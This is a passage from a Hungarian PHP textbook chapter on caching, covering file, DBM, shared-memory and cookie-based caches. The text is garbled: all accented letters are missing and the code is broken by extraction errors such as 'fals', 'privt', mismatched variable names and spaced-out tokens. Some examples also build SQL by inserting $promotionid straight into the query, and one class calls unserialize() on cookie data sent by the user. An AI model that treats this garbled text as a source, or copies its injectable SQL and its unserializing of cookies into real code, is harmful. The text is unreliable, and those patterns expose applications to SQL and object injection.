Mivel soha nem runk kzvetlenl a gyorstrfjlba, tudhatjuk, hogy amennyiben ltezik, teljes, gy felttel nlkl begyazhatjuk. Ha a fjl nem ltezik, magunknak kell elksztennk. Megnyitunk ht egy ideiglenes fjlt, melynek nevhez hozzfzzk a folyamat azonostjt: $cachefile_tmp = $cachefile.".".getmypid(); Adott idpontban csak egyetlen folyamat rendelkezhet a krdses azonostval, ami biztostja a fjlnv egyedisgt. (Ha mindezt az NFS-ben vagy ms hlzati fjlrendszerben tesszk, szksg van tovbbi lpsekre - errl a fejezet ksbbi rszben szlunk.) Megnyitjuk sajt ideiglenes fjlunkat, s bekapcsoljuk a kimenettrolst. Elksztjk a teljes oldalt, kirjuk a kimenettr tartalmt az ideiglenes gyorstrfjlba, s tnevezzk ezt az igazi" gyorstrfjll. Ha mindezt prhuzamosan tbb folyamat is megksrli megtenni, az utols nyer - ami ez esetben nem okoz gondokat. Fontos, hogy az ideiglenes s a vgs gyorstrfjl azonos fjlrendszerben legyen. Ilyenkor ugyanis a rename () fggvny gyakorlatilag azonnal kpes elvgezni a tartalom thelyezst. Mindennek az a magyarzata, hogy nem trtnik msols - a clfjl knyvtri bejegyzsbe egyszeren bekerl a forrsfjl ler csompontja. Vgeredmnykppen teht a rename () ilyenkor egy egyszer magmvelet. Ha azonban a rename () fggvnyt klnbz fjlrendszerek kztt hasznljuk, a rendszernek fizikailag t kell msolnia a fjlt az egyikbl a msikba. Azt pedig lthattuk a korbbiakban, hogy a gyorstrfjlok msolsa nem veszlytelen dolog. A fent bemutatott mdszer tbb szempontbl is elnys: A szksges kd rvidebb, s kevesebb rendszerhvst ignyel (kvetkezskppen gyorsabb).

10. fejezet Adatsszetevk tmeneti trolsa

271

Mivel kzvetlenl soha nem mdostjuk a valdi gyorstrfjlt, lehetetlenn vlik, hogy rszleges vagy hibs llomnyt hozzunk ltre. Mkdik hlzati fjlrendszereken (nmi trkkzssel). A mdszer legnagyobb htultje, hogy az erforrsok felhasznlsban tovbbra is cscsokat kapunk a gyorstrfjl jrarsnl. (Ha ez a fjl hinyzik, mindenki, aki hozz akar frni, dinamikusan kszti el a troland tartalmat egszen addig, mg valaki ltre nem hoz egy friss trolt vltozatot.) Mindazonltal gyes fogsokkal ez a problma is kikszblhet, amint a fejezet ksbbi rszben lthatjuk majd.

DBM alap gyorstrak


A fejlesztk gyakran elfeledkeznek a DBM fjlokrl, mint az adattrols egyik lehetsgrl. E fjlformtum - melyet gyakran lenzen csak a szegny ember adatbzisnak" neveznek - hihetetlenl gyors elrst nyjt, lehetv tve a nagysebessg egyidej rsiolvassi mveleteket. A gyorstrak megvalstsban a DBM fjlok annyiban jobbak a szerkezet nlkli fjloknl, hogy eleve tbb adatforrs tartalmnak trolsra terveztk ket (mg a szerkezet nlkli fjlokat leginkbb egyetlen adathalmaz trolsra), radsul eleve alkalmasak az egyidej elrs tmogatsra (egybknt ezt magunknak kell megvalstanunk). A DBM fjlok hasznlata akkor j megolds, ha adatainkat kulcs-rtk prok alakjban kell trolnunk (pldul egy adatbzis-lekrdezs eredmnyt). Ms, a fejezetben bemutatott mdszerekkel szemben itt ehhez nincs szksg klnsebb erfesztsre. A PHP dba bvtmnye ltalnos felletet ad szmos DBM knyvtrhoz, kztk az albbiakhoz: dbm - Az eredeti Berkeley DB fjlilleszt. ndbm - A dbm egykor nagyszer, mra elfeledett alternatvja. gdbm - A dbm GNU-vltozata. Sleepycat DB 2-4 vltozat - Nem tvesztend ssze az IBM DB2-vel - a dbm egy fejlettebb vltozata a Berkeley programozitl. cdb - Rgztett (nem frissthet) adatbzisknyvtr a Qmail-rl hres djb-tl.

A felhasznli szerzdsekrl

Az eltr lehetsgek mellett a knyvtrak ms s ms felhasznlsi szerzdssel is rendelkeznek. Az eredeti dbm, valamint az ndbm BSD alatt terjeszthet, a gdbm termszetesen a GNU nyilvnos felhasznlsi szerzds (GPL) al tartozik, mg a Sleepycat knyvtrak terjesztst egy mg szigorbb GPL-szer felhasznlsi szerzds korltozza.

272

PHP fejleszts felsfokon

A szerzdsek klnbsgei nem igazn izgalmasak azok szmra, akik csak szabadidejket tltik a fejlesztssel, a kereskedelmi forgalomra sznt alkalmazsoknl azonban az utols apr rszletig meg kell rtennk a korltozsokat. gy pldul ha hivatkozunk egy knyvtrra, ami a GPL al tartozik, lehetv kell tennnk, hogy alkalmazsunk forrskdja minden vsrlnk szmra elrhetv vljon. A Sleepycat DB4 dbm-je esetben pedig kln felhasznlsi engedlyt kell vennnk kereskedelmi alkalmazs ksztse esetn.

Prbljuk ki, miknt hasznlhatunk egy DBM fjlt gyorstr megvalstsra. Tegyk fel, hogy egy nyilvntartsi felletet ksztnk reklmajnlatok szmra. Minden ajnlat egyedi azonostval rendelkezik, s elksztettk az albbi fggvnyt: int showConversions(int promotionlD) A fggvny megszmolja, hny klnbz felhasznl iratkozott fel egy adott ajnlathoz. A fggvny kdja a kvetkez: function showConversion($promotionID) { $db = new DB_MySQL_Test ; $row = $db->execute("SELECT count(distinct(userid)) cnt FROM promotions WHERE promotionid = $promotionid")->fetch_assoc() ; return $row['cnt'];
}

Nos, ez a lekrdezs nem nevezhet szlsebesnek, klnsen, ha a piackutatk folyamatosan jratltik - rdemes teht gyorstrat alkalmaznunk. Ezt kzvetlenl a fggvnyben is megtehetjk, mindssze meg kell nyitnunk egy DBM fjlt, s amennyiben lehetsg van r, inkbb onnan kiolvasni az eredmnyt: function showConversion($promotionID) { $gdbm = dba__popen ("promotionCounter . dbm" , " c " , "gdbm"); i f ( ( $ c o u n t = dba_fetch($promotionid, $gdbm)) !== fals) { return $count;
}

$db = new DB_MySQL_Test; $row = $db->execute("SELECT count(distinct(userid)) cnt FROM promotions WHERE promotionid = $promotionid"); dba_replace($promotion, $ r o w [ 0 ] , $gdbm); return $row['cnt'];
}

10. fejezet Adatsszetevk tmeneti trolsa

273

A gyorstrak egyidej elrse s sszhangja


A DBM fjlok nagyszer tulajdonsga, hogy eleve tmogatjk az egyidej elrst. A zrols pontos mdja az ppen hasznlatos httrprogram belgye (vagy legalbbis nem vlik lthatv a PHP felhasznlk fel), de a biztonsgos egyidej elrs mindenkppen biztostott.

A tartalom rvnytelentse s a gyorstrak karbantartsa


A figyelmes olvask bizonyra felfigyeltek arra, hogy egy slyos hiba van a DBM alap gyorstrak hasznlatnak mdszerben. Nincs ugyanis eljrsunk, amely rvnytelenten a tartalmat - a trolt szmok frisstse soha nem trtnik meg. Nos, ez persze felgyorstja az eredmnyek visszaadst, de egyttal hasznlhatatlann is teszi ket. Egy j gyorstr jelenlte gyakorlatilag szrevehetetlen - vagy legalbbis nem feltn. A szerkezet nlkli fjlokkal megvalstott gyorstraktl eltren itt nem a fjlok frisstsnek mikntjben rejlik a nehzsg, hiszen a dba_replace s a dba_insert fggvnyek elvgzik helyettnk ezt a munkt. A gond ott van, hogy tudnunk kell arrl, mikor kell egyltaln frisstennk. A DBM fjlok ugyanis nem tartalmazzk az egyes sorok mdostsainak idejt, gy egy adatrl nem tudhatjuk, hogy egy msodperce vagy egy hete kerlt a gyorstrba. Taln a legagyafrtabb megolds, mellyel e helyzet kezelse lehetsges, a valsznsgi megkzelts. Egyszeren meg kell figyelnnk, milyen gyakorisggal krik az adott adatot, s meg kell llaptanunk, tlagosan hny krelem utn kell rvnytelenteni. Ha pldul msodpercenknt 10 krelmet kapunk az adatot megjelent oldalra, s az adatokat 5 percig szeretnnk trolni, a frisstshez szksges krelmek szmt az albbi kplet szerint kaphatjuk meg: 5 perc x (60 msodperc/perc) x (10 krelem/msodperc) = 3000 krelem Egy globlis elrsszmll megosztsa a folyamatok kztt meglehetsen knyelmetlen feladat, hiszen ehhez a DBM fjl minden sorhoz trolni kellene az elrsi idket. Ez nemcsak bonyolult, de lass mdszer is, hiszen gy az idpontok trolshoz minden olvassnl egyttal rnunk is kellene a fjlba. Az tletes megoldst a valsznsgi megkzelts adja. Nem kell ragaszkodnunk ugyanis ahhoz, hogy pontosan 3000 elrsenknt frisstsk a trat, inkbb 1/3000 valsznssggel frisstjk minden krelemnl. gy vgl hossz id alatt tlagban kzeltnk a 3000 krelmenknti frisstshez. Lssuk most a showConversion () fggvny j vltozatt, melyben a vletlenszer frisstst alkalmazzuk: function showConversion($promotionID) { $gdbm = dba_popen("promotionCounter.dbm", " c " , "gdbm"); // ha bejtt az 1 a 3000-bl, nem keressk a kulcsot, // hanem egyszeren jra beillesztjk

274

PHP fejleszts felsfokon

if ( r a n d ( 3 0 0 0 ) > 1) { if($count = dba_fetch($promotionid, return $count;


} }

$gdbm))

$db = new DB_MySQL_Test; $row = $db->execute("SELECT count(distinct(userid)) cnt FROM promotions WHERE promotiond = $promotionid")->fetch_assoc(); dba_replace($promotion, $ r o w [ 0 ] , $gdbm); return $row[cnt];
}

E mdszer szpsge az egyszersgben rejlik. Vgeredmnyben csak azokat az adatokat troljuk, amelyek rdekelnek, a tbbit pedig a matematikra hagyjuk. A mdszer htultje, hogy alkalmazshoz valban ismernnk kell az elrsi gyakorisgot, hiszen egybknt elfordulhat, hogy az rtkek a kelletnl hosszabb ideig maradnak a gyorstrban. Ez klnsen igaz akkor, ha a forgalomban tmeneti kihagysok tapasztalhatk, melyek alssk a matematikai modellt. Mindazonltal ez semmit sem von le a mdszer rdekessgbl, s az tovbbra is alkalmazhat marad olyan esetekben, ahol az elrsek gyakorisga elegenden stabil, illetve ahol determinisztikus folyamatokat szeretnnk hatkonyabb tenni. A gyorstr adatai elavulsnak kvetshez kszthetnk egy olyan osztlyt, amely kezeli a hvsait, ugyanakkor rgzti a bejegyzsek mdostsnak idejt, s trdik az adatok elavulsval: <?php class Cache_DBM { privt $dbm; privt $expiration; function___ construct($filename, $expiration=3600) { $this->dbm = dba_popen($filename, "c", "ndbm"); $this->expiration = $expiration; } function put($name, $tostore) { $storageobj = array('object' => $tostore, 'time' => time()); dba_replace($name, serialize($storageobj), $this->dbm); } function get($name) { $getobj = unserialize(dba_fetch($name, $this->dbm)); if(time() - $getobj[time] < $this->expiration) { return $getobj[object]; } else {

10. fejezet Adatsszetevk tmeneti trolsa

275

dba_delete($name, return fals;


} }

$this->dbm);

function delete($name) { return dba_delete($name, $this->dbm);


} } ?>

Ezek utn ezzel az osztllyal hozhatjuk ltre j gyorstrobjektumainkat: <?php require_once 'Cache/DBM.inc'; $cache = new Cache_DBM("/path/to/cachedb"); ?>

Ez az objektum meghvja a dba_popen fggvnyt a gyorstr DBM fjljnak megnyitshoz (melyet, amennyiben nem ltezik, egyttal ltre is hoz). Az objektum a lejrat idejt 3600 msodpercben (vagyis 1 rban) llaptja meg. Ha ms idtartamra lenne szksgnk, mondjuk 1 napra, ezt is megadhatjuk: $cache = Cache_DBM("/path/to/cachedb", 86400);

A trols s a keress egy kulcsnv alapjn trtnik, melyet neknk kell megadnunk. gy pldul a Foo objektum trolshoz s j pldnynak ltrehozshoz az albbiakat kell tennnk: $foo = new Foo(); // trols $cache->put('foo', $foo) ; A knyvtrban ez egy tmbt hoz ltre, amely tartalmazza a $f oo rtkt, valamint az aktulis idt, vgl pedig becsomagolja (sorostja") az eredmnyt. Az eredmny bekerl a gyorstr DBM fjljba, s a foo kulcs azonostja. A sorostsra azrt van szksg, mert a DBM fjlok csak karakterlncokat kpesek trolni. (Valjban brmilyen, binris adatokat tartalmaz sorozat trolsra kpes, de ezekre a PHP mind karakterlncknt tekint.) Ha van mr valamilyen adat a foo kulcs alatt, a rendszer kicserli az jra. Egyes DBM illesztk (pldul a DB4) tmogatjk, hogy adott kulcshoz tbb rtk is tartozzon, a PHP azonban e tekintetben mg nem rte utol ket.

276

PHP fejleszts felsfokon

A korbban trolt rtkek kiolvassra a get () tagfggvny ad lehetsget, mellyel megkaphatjuk a kulcshoz tartoz adatot: $obj = $cache->get('foo'); A get bels szerkezete nmikpp sszetett. Ahhoz, hogy visszakapja a trolt objektumot, elbb meg kell keresnie a kulcs alapjn. Ezutn visszarja a troljba, s sszehasonltja a beilleszts idejt a konstruktorban meghatrozott lejrati idvel. Amennyiben a tartalom mg nem elavult, eljut a felhasznlhoz, egybknt pedig a program trli a gyorstrbl. Ha ezt az osztlyt vals letbli feladatokra hasznljuk, elszr egy get () hvssal megnzzk, van-e rvnyes msolat az adatbl a gyorstrban - amennyiben nincs, egy put () hvssal feltltjk friss adatokkal. <?php class Foo { public function i d ( ) { return "I ara a Foo";
} }

reguire_once 'Cache/DBM.inc'; $dbm = new Cache_DBM("/data/cachefiles/generic"); if($obj = $dbm->get("foo")) { // Tallat, a $obj rtkt kerestk print $obj->id(); } else { // Nincs tallat, ksztnk egy j $obj objektumot, s elhelyezzk // a gyorstrban $obj = new Foo() ;

$dbm->put("foo" , print $obj->id();


}

$obj) ;

// ... hasznljuk a $obj rtkt tetszs szerint ?> rdemes nhny dolgot megjegyeznnk a burkol osztlyrl: Kpes brmilyen adatszerkezetet (objektumot, tmbt, karakterlncot, ms egyebet) automatikusan kezelni. Ez all csak az erforrsok jelentenek kivtelt, de ezek amgy sem oszthatk meg hatkonyan a folyamatok kztt. Az objektumok jratrolshoz brmikor meghvhatjuk a put () fggvnyt. Ez hasznos olyankor, ha tudjuk, hogy egy mveletnk elavultt teszi a gyorstr tartalmt.

10. fejezet Adatsszetevk tmeneti trolsa

277

A kulcsok neveinek meghatrozsa nem automatikus, gy neknk kell tudnunk, hogy a f oo kulcs a Foo objektumra utal. Ez jl mkdik egyelem adatszerkezeteknl, de brmilyen sszetettebb esetben szksg van valamilyen elnevezsi szablyra. A cdb kivtelvel minden DBM-megvalsts dinamikusan terjeszti ki httrtrt az j adatok kezelsre. Ez azt jelenti, hogy ha magra hagyjk, egy DBM gyorstr egsz addig mkdik, mg az t tartalmaz fjlrendszer rendelkezik szabad terlettel. A DBM knyvtr nem kveti az elrsek jellemzit, gy ha nem burkoljuk be a knyvtrat egy osztllyal, ami biztostja ezt, nem tudjuk intelligensen" kezelni a gyorstrat. A DBM fjlok figyelemremlt tulajdonsga, hogy mretk soha nem cskken. A rendszer jra s jra felhasznlja a fjlon belli terletet, a fjlmret maga azonban csak nhet - soha nem cskken. Ha teht komolyan ignybe vesszk a gyorstrat (gyakoriak a beillesztsek, s az adatok sokszor cserldnek), valamilyen formban szksg van rendszeres karbantartsra. A fjl alap gyorstrakhoz hasonlan a kltsgek cskkentshez szksg lehet a DBM fjlok trlsre s jbli ltrehozsra. Ha nem kvnunk tlzottan drasztikus mdszereket alkalmazni, elhelyezhetnk egy szemtgyjt fggvnyt a Cache_DBM osztlyban: function garbageCollection() { $cursor = dba_firstkey($this->dbm); while(Scursor) { $keys[] = $cursor; $cursor = dba_nextkey($this->dbm);
}

foreach( $keys as $key ) $this->get($key);


} }

Egy sormutat (kurzor) segtsgvel haladunk vgig a gyorstr kulcsain, troljuk azokat, majd sorban meghvjuk rjuk a get () fggvnyt. Amint a korbbiakban mr emltettk, a get () eltvoltja az elavult bejegyzseket, a frissek esetn pedig egyszeren figyelmen kvl hagyhatjuk a visszatrsi rtket. Ez a mdszer kiss hosszabbnak tnik a szksgesnl - ha a get () fggvnyt az els while ciklusba helyeznnk, a kd olvashatbb vlna, s egy teljes ciklust nyernnk. Sajnlatos mdon a DBM legtbb megvalstsa nem kpes helyesen kezelni a kulcsok eltvoltst, mikzben a program vgighalad rajtuk. Ezrt van ht szksg erre a ktlpses eljrsra, amely biztostja, hogy valban sorra vegynk minden kulcsot.

278

PHP fejleszts felsfokon

Az ehhez hasonl szemtgyjts kltsges dolog, gy ht nem rdemes a kelletnl tbbszr elvgeznnk. Lttam olyan programokat, ahol a szemtgyjtsi eljrst minden oldalkrelem utn meghvtk, hogy biztostsk a gyorstr kis mrett. Ez a mdszer slyos adattorldsokat okozhat a rendszerben. Sokkal jobb megolds, ha a szemtgyjtst a cron temezett feladatai kz vesszk fel, gy nem sok vizet zavar.

Gyorstr a megosztott memriban


A memriaterlet folyamatok kzti megosztsa a Unixban a BSD vagy a System V mdszere szerint valsulhat meg. Az elbbi az mmap () rendszerhvs segtsgvel lehetv teszi, hogy klnbz folyamatok ugyanazt a memriaszegmenst lekpezhessk sajt cmterletkre. A PHP szemafor s shmop bvtmnye kt msik felletet adnak a System V osztott memrija, valamint a szemaforok kezelshez. A System V megvalsts a folyamatok kzti adatcsere (IPC, interprocess communication) minden lehetsgt rendelkezsnkre bocstja - hasznlhatunk osztott memriaszegmenseket, szemaforokat s zenetsorokat. Kzlk a gyorstrak esetben az els kettre van szksgnk. Az osztott memria a trolst, a szemaforok pedig a zrolsi mveleteket teszik lehetv. A gyorstr mretnek kzben tartsa klnsen fontos osztott memria hasznlatnl. A szerkezet nlkli, illetve DBM fjl alap gyorstrakkal ellenttben az osztott memriaszegmensek mrett nem nvelhetjk dinamikusan. Mindez azt jelenti, hogy klnsen oda kell figyelnnk arra, nehogy tllpjk a trterlet lehetsgeit. A C nyelv alkalmazsokban j mdszer, ha az osztott memriban troljuk az elrsi adatokat, s ezek alapjn vgezzk el a gyorstrban a szksges mveleteket. Ugyanezt megtehetjk a PHP-ben is, de itt ez egy kevsb alkalmas megolds. A gondot az osztott memriakezel fggvnyek szk ltkre" (vagy finom szemcszettsge", ha gy tetszik) okozza. Az shm_get_var s az shm_put_var segtsgvel (melyeket a sysvshm bvtmnyben tallhatunk meg) knnyen trolhatunk s olvashatunk ki vltozkat. Mindazonltal nem ltezik olyan fggvny, mellyel megkaphatnnk a szegmensben jelen lev elemek listjt, ami gyakorlatilag lehetetlenn teszi, hogy egyszeren vgighaladjunk a gyorstron. Emellett, ha az elrsek jellemzit is trolni szeretnnk valahogy, ezt is csak az elemeken bell tehetjk meg - ami csaknem kizrja az okos" gyorstrkezels lehetsgt. Ha az shmop fggvnyeket alkalmazzuk (az shmop bvtmnybl), egy alacsonyabb szint felletet kapunk, ami lehetv teszi az osztott memriaszegmensek olvasst, rst, megnyitst s bezrst - ppgy, mintha fjlok lennnek. Ez nagyszeren mkdik az olyan gyorstraknl, amelyek egyetlen elemet trolnak szegmensenknt (hasonlan a szerkezet nlkli fjlok esethez), de nem sokat segt, ha tbb elemet kvnunk elhe-

10. fejezet Adatsszetevk tmeneti trolsa

279

lyezni egy szegmensen bell. Mivel a PHP a memriakezels feladatt tveszi a felhasznlktl, meglehetsen nehz sajt adatszerkezeteket megvalstanunk az shmop_open () ltal visszaadott memriaszegmenseken. A System V IPC tovbbi hinyossga, hogy az osztott memria nem rendelkezik hivatkozsszmllssal. Ha hasznlatba vesznk egy osztott memriaszegmenst, s anlkl lpnk ki, hogy felszabadtannk, ezt az erforrst rk idkre lefoglaltuk. A System V erforrsai egy kzs trolbl kerlnek ki, gy mg a ritka alkalmanknt elvesztett szegmensek is komoly gondokat okozhatnak. Mindemellett, mg ha a PHP meg is valstotta volna a hivatkozsszmllst (mint ahogy nem tette), mindez tovbbra is gondokat okozna, ha a PHP, illetve a hozz tartoz kiszolgl vratlanul sszeomlana. Egy tkletes vilgban persze ilyesmi nem fordulhat el, de az alkalmanknti szegmentcis hibk nem ismeretlenek a nagy terhels alatt mkd webkiszolglkon. Mindebbl tanulsgknt annyit szrhetnk le, hogy a System V osztott memrijra nem rdemes gyorstrat ptennk.

Sti alap gyorstrak


A hagyomnyos kiszolgl oldali trols mellett az alkalmazs adatai trolhatk az gyfl oldaln is, ha stiket (cookie) hasznlunk ennek megvalstsra. Ez a mdszer akkor lehet hatkony, ha felhasznlnknt viszonylag kevs adatot kell elhelyeznnk a gyorstrban. Ha sok felhasznlval dolgozunk, mg ez a kis mennyisg is jelents adattmegg llhat ssze a kiszolglnl. Gyakran hasznljk a stiket arra, hogy nyomon kvessk a felhasznlk kiltt, s ennek alapjn jussanak hozz az egyni adatokhoz az egyes oldalakon. Megtehetjk azonban azt is, hogy a stikben ez utbbi adatokat is tadjuk. Vegynk pldul egy hrportlt, melynek bngszsvjn hrom testreszabhat rsz tallhat. Ezek tartalma az albbiak kzl kerlhet ki: Reklmok egy msik webhelyrl Helyi idjrs Sporteredmnyek Hrek hely s kategria szerint

Az albbi kd segtsgvel a felhasznl navigcis belltsait a user-navigation tblban trolhatjuk, s a get-interests, valamint a set-interest tagfggvnyekkel frhetnk hozzjuk:
<?php require 'DB.inc'; class User { public $name;

280

PHP fejleszts felsfokon

public $id; public function___ construct($id) { $this->id = $id; $dbh = new DB_Mysql_Test; $cur = $dbh->prepare("SELECT name FROM users u WHERE userid = : 1" ) ; $row = $cur->execute($id)->fetch_assoc(); $this->name = $row['name']; } public function get_interests() { $dbh = new DB_Mysql_Test(); $cur = $dbh->prepare("SELECT interest, position FROM user_navigtion WHERE userid = : 1") ; $cur->execute($this->userid); $rows = $cur->fetchall_assoc() ; $ret = array () ; foreach($rows as $row) { $ret[$row['position']] = $row['interest'] ; } return $ret; } public function set_interest($interest, $position) { $dbh = new DB_Mysql_Test; $stmtcur = $dbh->prepare("REPLACE INT user_navigtion SET interest = :1 position = :2 WHERE userid = : 3 ") ; $stmt->execute($interest, $position, $this->userid); } } ?>

A user-navigation tbla interest mezje olyan kulcsszavakat tartalmazhat, mint a sports-football (sport-futball) vagy a news-global (hrek-klfld), amelyek lerjk a felhasznl rdekldst. Szksgnk van mg egy generate_navigation_element () fggvnyre is, amely fogadja a kulcsszavakat, s ellltja a hozzjuk tartoz tartalmat.

10. fejezet Adatsszetevk tmeneti trolsa

281

gy pldul a news-global kulcssz megadsakor a fggvny a klfldi hrek helyben trolt vltozatt adja vissza. s ami a legfontosabb, az eredmnyt egy teljes HTML rszletben adja meg, melyet minden tovbbi nlkl beilleszthetnk a bngszsvba. Az gy ksztett eszkzkkel a szemlyre szabott bngszsv kdja gy fest: <?php $userid = $_COOKIE['MEMBERID']; $user = new User($userid); if(!$user->name) { header("Location: /login.php");
}

$navigation = $user->get_interests();
?>

<table> <tr> <td> <table> <trxtd> <?= $user->name ? > ' s Home <trxtd> <!-- 1. hely a bngszsvon --> <?= generate_navigation_element($navigation[1] ) ?> </tdx/tr> <trxtd> <!-- 2. hely a bngszsvon --> <?= generate_navigation($navigation[2 ]) ?> </tdx/tr> <trxtd> <!-- 3. hely a bngszsvon --> <?= generate_navigation($navigation[3]) ?> </tdx/tr> </table> </td> <td> <!-- az oldal trzse (minden felhasznlnl azonos tartalom) </td> </tr> </table>

-->

Amikor egy felhasznl belp az oldalra, a program az azonostja alapjn kikeresi a hozz tartoz bejegyzst a tblbl. Amennyiben a felhasznl mg nincs benn az adatbzisban, a program tirnytja a krelmet a bejelentkezsi oldalra a Location: HTTP tirnyt fejlccel. Egybknt kiolvassa a felhasznli belltsokat a get_interests () tagfggvnnyel, s ezek alapjn elkszti az oldalt.

282

PHP fejleszts felsfokon

E kdban elrsenknt legalbb kt adatbzishvsra van szksg. Elszr is a konstruktorban egy hvssal hozz kell jutni a felhasznl nevhez az azonostja alapjn, majd egy adatbzishvssal a belltsaihoz. Nem tudjuk, mi folyik a generate_navigation_element () fggvny belsejben, de remnyeink szerint ez is alkalmaz gyorstrat. Szmos portloldalra jellemz, hogy a bngszsv tbb oldalon keresztl elksr, s gyakran ez a webhely leggyakrabban ellltott rszlete. Mg egy alacsony kltsg, optimalizlt lekrdezs is komoly megterhelst jelenthet a rendszerre nzve, ha tl gyakran hvjk meg. Valjban az lenne a legjobb, ha alkalmazsukat teljessggel el tudnnk kerlni. Ezt a clt gy rhetjk el, ha nemcsak a felhasznl nevt, de a belltsait is egy stiben troljuk. Lssunk egy egyszer burkol osztlyt ennek megvalstshoz: class Cookie_UserInfo { public $name; public $userid; public $interests; public function _____ construct($user = fals) if($user) {

$this->name = $user->name; $this->interests = $user->interests(); } else { if(array_key_exists("USERINFO", $_COOKIE)) { list($this->name, $this->userid, $this->interests) = unserialize($_cookie['USERINFO']); } else { throw new AuthException("no cookie"); } } } public function send() { $cookiestr = serialize(array($this->name, $this->userid, $this->interests)); set_cookie("USERINFO", $cookiestr); } } class AuthException { public $message; public function __ construct($message = fals) { if($message) { $this->message = $message; } } }

10. fejezet Adatsszetevk tmeneti trolsa

283

Ebben a kdrszletben kt jdonsggal tallkozhatunk. Elszr is, pldt lthatunk arra, miknt lehet egy stiben tbb adategysget trolni. Jllehet most csak a name, az ID s az interests tmb szerepel adatknt, mivel a serialize fggvnyt hasznljuk, brmilyen sszetett vltozt trolhatnnk. Msodszor, felfedezhetnk egy kdrszletet, amely kivtelt vlt ki, ha a felhasznlnak nincs stije. Ez tisztbb mdszer, mint a tulajdonsgok ltezsnek ellenrzse (a korbbi gyakorlatunk), s igen hasznos, ha tbb ellenrzst is vgznk. (Minderrl tbbet a 13. fejezetben tudhatunk meg.) Az osztly hasznlathoz az albbiakat kell tennnk azon az oldalon, ahol a felhasznl mdosthatja a belltsait: $user = new User($name); $user->set_interest('news-global', 1); $cookie = new Cookie_UserInfo($user); $cookie->send(); Itt a set_interest tagfggvnnyel belltjuk az els bngszelemet a klfldi hrekre (news-global), s egyttal rgztjk az adatbzisban. Ezutn ltrehozunk egy Cookie_UserInfo objektumot. Ezt kveten, amikor egy User objektumot adunk t a konstruktornak, a program a Cookie_UserInf o tulajdonsgait a User objektumbl msolja t. Vgl meghvjuk a send() fggvnyt, ami sorostja a tulajdonsgokat (a userid mellett a felhasznl nevt s az interests tmbt is), s az eredmnyt a felhasznl bngszjben a USERINFO stibe helyezi. A honlap kdja most valahogy gy fest:
try { $usercookie = new Cookie_UserInfo(); } catch (AuthException $e) { header{"Location /login.php"); } $navigation = $usercookie->interests; ?> <table> <tr> <td> <table> <trxtd> <?= $usercookie->name ?> </tdx/tr> <?php for ($i=l; $i<=3; $i++) { ?> <trxtd> <!-- 3. hely a bngszsvon --> <?= generate_navigation($navigation[$i] ) ?>

284

PHP fejleszts felsfokon

</tdx/tr> <?php } ?> </table> </td> <td> <!-- az oldal trzse (minden felhasznlnl azonos tartalom) --> </td> </tr> </table>

A gyorstr mretnek kezelse


Az adatok gyfl oldali trolsnak valdi szpsge, hogy az itt alkalmazott gyorsttrak vzszintesen mretezhetk. Mivel az adatok raktrozsa az gyfelet terheli, nincs gond a gyorstr mretnek nvelsvel. A felhasznli adatok stibe helyezsvel kt alapvet gond lehet - a nagy stik miatt megnvekedett svszlessg-igny, valamint biztonsgi meggondolsok a felhasznlk stikben elkldtt adataival kapcsolatban. A svszlessggel kapcsolatos aggodalmaknak valban van vals alapja. Az gyfl bngszje ugyanis egy krelem elksztsekor mindig csatolja az adott tartomnyhoz tartoz stiket. Ezrt ht egyetlen kilobjtnyi sti is rezhet vltozsokat okozhat a svszlessg kihasznlsban. Mindez persze termszetes, hiszen minden gyorstr hasznlata jr bizonyos kltsgekkel. Mg a kiszolgl oldalon inkbb a trols s a fenntarts kltsgeivel kell szmolnunk, az gyflnl inkbb a svszlessg a szk keresztmetszet. Ha stiket alkalmazunk a gyorstr megvalstsra, gyeljnk mretk viszonylag alacsonyan tartsra.

Bjtzablk

Egyesek tlzottan is komolyan veszik ez utbbi tancsot, s megksrlik a lehet legkisebbre sszezsugortani a stiket. Ezzel persze semmi baj nincs, de nem rt megjegyezni, hogy 30 KB-os (viszonylag kicsi) HTML lapok s 1 KB-os (viszonylag nagy) stik esetn a HTML kd 1,5%-os cskkentse ugyanakkora hatssal van a svszlessgre, mint a sti 10%-os zsugortsa. Ezzel csak arra utalunk, hogy rdemes mindenre egy tfogbb nzpontbi tekinteni. A HTML kd sszehzsa sok esetben hatkonyabb, mintha a kisebb rszekkel prblnnk kmletlenl elbnni.

10. fejezet Adatsszetevk tmeneti trolsa

285

Egyidej hozzfrs s az adatok sszhangja


A sti alap gyorstrak esetben a legnagyobb fejtrst az okozza, miknt tarthatjuk frissen az adatokat bngszvltskor. Amennyiben a felhasznl egyetlen bngszvel dolgozik, egyszeren megrhatjuk gy az alkalmazst, hogy a gyorstrban raktrozott adatok frisstse belekerljn a stikbe is. Ha azonban egy felhasznl tbb bngszt hasznl (mondjuk egyet otthon, egyet pedig a munkahelyn), az A bngszben vgzett mdostsok lthatatlanok maradnak, amikor a B bngszbl nzi az adott oldalt, amennyiben ez is rendelkezik sajt gyorstrral. Els rnzsre nincs itt klnsebb gond - csak kvetnnk kell az IP cmek segtsgvel, melyik bngszt hasznlja a felhasznl, s minden vltsnl rvnytelenteni a gyorstr tartalmt. Sajnos ezzel az egyszer mdszerrel kt gond is akad: A fent emltett kvetshez fel kell kutatni a felhasznl adatait az adatbzisban ppen ezt a lpst szerettk volna elkerlni. A mdszer egybknt sem mkdik. A nagy internetszolgltatk (pldul az AOL vagy az MSN) helyettes kiszolgli elrejtik mind az gyfl bngszje ltal kldtt USER_AGENT karakterlncot, mind a krelem forrsul szolgl gp IP cmt. De ami mg rosszabb, a bngsz tpusa s az IP cm gyakran a krelmek kztt is megvltozik. Ez lehetetlenn teszi, hogy ezen adatok brmelyikvel is azonostsuk a felhasznlt. Az egyetlen dolog, amit tehetnk, hogy a felhasznlk viselkedsnek jellemzit alapul vve elavul felhasznli llapotjelz stiket alkalmazunk. Ha pldul felttelezzk, hogy a felhasznlnak legalbb 15 percbe telik, mg vlt a bngszk kztt, hozzbiggyeszthetnk egy idblyegzt a stihez, s ha elavultt vlt, jra kiolvashatjuk a tartalmt az adatbzisbl.

Gyorstrak hasznlata az alkalmazsokban


